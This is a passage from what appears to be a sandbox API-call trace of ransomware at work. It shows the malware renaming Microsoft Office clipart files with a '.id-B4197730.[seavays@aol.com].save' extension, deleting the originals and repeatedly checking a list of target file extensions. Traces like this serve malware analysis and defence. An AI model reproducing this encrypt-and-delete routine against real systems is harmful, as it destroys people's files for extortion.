office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.680] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.680] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.681] GetLastError () returned 0x0 [0173.681] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x52e0, lpOverlapped=0x0) returned 1 [0173.684] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x52f0, lpOverlapped=0x0) returned 1 [0173.685] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0173.685] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0173.686] SetEndOfFile (hFile=0x518) returned 1 [0173.686] CloseHandle (hObject=0x518) returned 1 [0173.686] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.686] SetEndOfFile (hFile=0x520) returned 1 [0173.691] CloseHandle (hObject=0x520) returned 1 [0173.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.210] lstrlenW (lpString=".doc") returned 4 [0174.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.210] lstrlenW (lpString=".docx") returned 5 [0174.210] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.210] lstrlenW (lpString=".pdf") returned 4 [0174.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.210] lstrlenW (lpString=".xls") returned 4 [0174.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.210] lstrlenW (lpString=".xlsx") returned 5 [0174.210] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.210] lstrlenW (lpString=".ppt") returned 4 [0174.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.210] lstrlenW (lpString=".zip") returned 4 [0174.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.210] lstrlenW (lpString=".rar") returned 4 [0174.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.210] lstrlenW (lpString=".bz2") returned 4 [0174.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.210] lstrlenW (lpString=".7z") returned 3 [0174.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString=".dbf") returned 4 [0174.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString=".1cd") returned 4 [0174.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString=".jpg") returned 4 [0174.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString=".doc") returned 4 [0174.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString=".docx") returned 5 [0174.211] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.211] lstrlenW (lpString=".pdf") returned 4 [0174.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString=".xls") returned 4 [0174.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.211] lstrlenW (lpString=".xlsx") returned 5 [0174.211] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.211] lstrlenW (lpString=".ppt") returned 4 [0174.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.211] lstrlenW (lpString=".zip") returned 4 [0174.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.212] lstrlenW (lpString=".rar") returned 4 [0174.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.212] lstrlenW (lpString=".bz2") returned 4 [0174.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.212] lstrlenW (lpString=".7z") returned 3 [0174.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.212] lstrlenW (lpString=".dbf") returned 4 [0174.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.212] lstrlenW (lpString=".1cd") returned 4 [0174.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0174.212] lstrlenW (lpString=".jpg") returned 4 [0174.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.212] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.212] lstrlenW (lpString="J0107468.WMF") returned 12 [0174.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.746] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9612) returned 1 [0174.746] CloseHandle (hObject=0x378) returned 1 [0174.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0175.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0175.986] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0175.986] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0175.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.987] GetLastError () returned 0x0 [0175.987] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x258c, lpOverlapped=0x0) returned 1 [0175.989] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2590, lpOverlapped=0x0) returned 1 [0175.990] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0175.990] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0175.990] SetEndOfFile (hFile=0x544) returned 1 [0175.990] CloseHandle (hObject=0x544) returned 1 [0175.991] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0175.991] SetEndOfFile (hFile=0x534) returned 1 [0175.994] CloseHandle (hObject=0x534) returned 1 [0175.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.996] lstrlenW (lpString=".doc") returned 4 [0175.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".docx") returned 5 [0175.996] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0175.996] lstrlenW (lpString=".pdf") returned 4 [0175.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".xls") returned 4 [0175.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.996] lstrlenW (lpString=".xlsx") returned 5 [0175.996] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0175.996] lstrlenW (lpString=".ppt") returned 4 [0175.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.996] lstrlenW (lpString=".zip") returned 4 [0175.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.996] lstrlenW (lpString=".rar") returned 4 [0175.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".bz2") returned 4 [0175.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".7z") returned 3 [0175.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.996] lstrlenW (lpString=".dbf") returned 4 [0175.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.996] lstrlenW (lpString=".1cd") returned 4 [0175.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".jpg") returned 4 [0175.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".doc") returned 4 [0175.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString=".docx") returned 5 [0175.997] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0175.997] lstrlenW (lpString=".pdf") returned 4 [0175.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString=".xls") returned 4 [0175.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.997] lstrlenW (lpString=".xlsx") returned 5 [0175.997] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0175.997] lstrlenW (lpString=".ppt") returned 4 [0175.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".zip") returned 4 [0175.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.997] lstrlenW (lpString=".rar") returned 4 [0175.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString=".bz2") returned 4 [0175.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString=".7z") returned 3 [0175.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".dbf") returned 4 [0175.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".1cd") returned 4 [0175.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0175.997] lstrlenW (lpString=".jpg") returned 4 [0175.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.998] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0175.998] lstrlenW (lpString="J0107512.WMF") returned 12 [0175.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0175.999] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=11404) returned 1 [0175.999] CloseHandle (hObject=0x534) returned 1 [0175.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220 [0175.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0175.999] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0175.999] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0175.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.000] GetLastError () returned 0x0 [0176.000] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0176.002] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2c90, lpOverlapped=0x0) returned 1 [0176.003] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.003] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.003] SetEndOfFile (hFile=0x544) returned 1 [0176.004] CloseHandle (hObject=0x544) returned 1 [0176.004] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.004] SetEndOfFile (hFile=0x534) returned 1 [0176.007] CloseHandle (hObject=0x534) returned 1 [0176.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.008] lstrlenW (lpString=".doc") returned 4 [0176.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.008] lstrlenW (lpString=".docx") returned 5 [0176.008] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.008] lstrlenW (lpString=".pdf") returned 4 [0176.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.008] lstrlenW (lpString=".xls") returned 4 [0176.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.008] lstrlenW (lpString=".xlsx") returned 5 [0176.008] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.008] lstrlenW (lpString=".ppt") returned 4 [0176.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.008] lstrlenW (lpString=".zip") returned 4 [0176.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.009] lstrlenW (lpString=".rar") returned 4 [0176.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString=".bz2") returned 4 [0176.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString=".7z") returned 3 [0176.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString=".dbf") returned 4 [0176.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString=".1cd") returned 4 [0176.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString=".jpg") returned 4 [0176.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString=".doc") returned 4 [0176.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString=".docx") returned 5 [0176.009] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.009] lstrlenW (lpString=".pdf") returned 4 [0176.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString=".xls") returned 4 [0176.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.009] lstrlenW (lpString=".xlsx") returned 5 [0176.009] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.009] lstrlenW (lpString=".ppt") returned 4 [0176.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.009] lstrlenW (lpString=".zip") returned 4 [0176.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.010] lstrlenW (lpString=".rar") returned 4 [0176.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".bz2") returned 4 [0176.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".7z") returned 3 [0176.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.010] lstrlenW (lpString=".dbf") returned 4 [0176.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.010] lstrlenW (lpString=".1cd") returned 4 [0176.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0176.010] lstrlenW (lpString=".jpg") returned 4 [0176.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.010] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.010] lstrlenW (lpString="J0107514.WMF") returned 12 [0176.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.013] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=12204) returned 1 [0176.013] CloseHandle (hObject=0x534) returned 1 [0176.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0176.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.014] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.014] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: 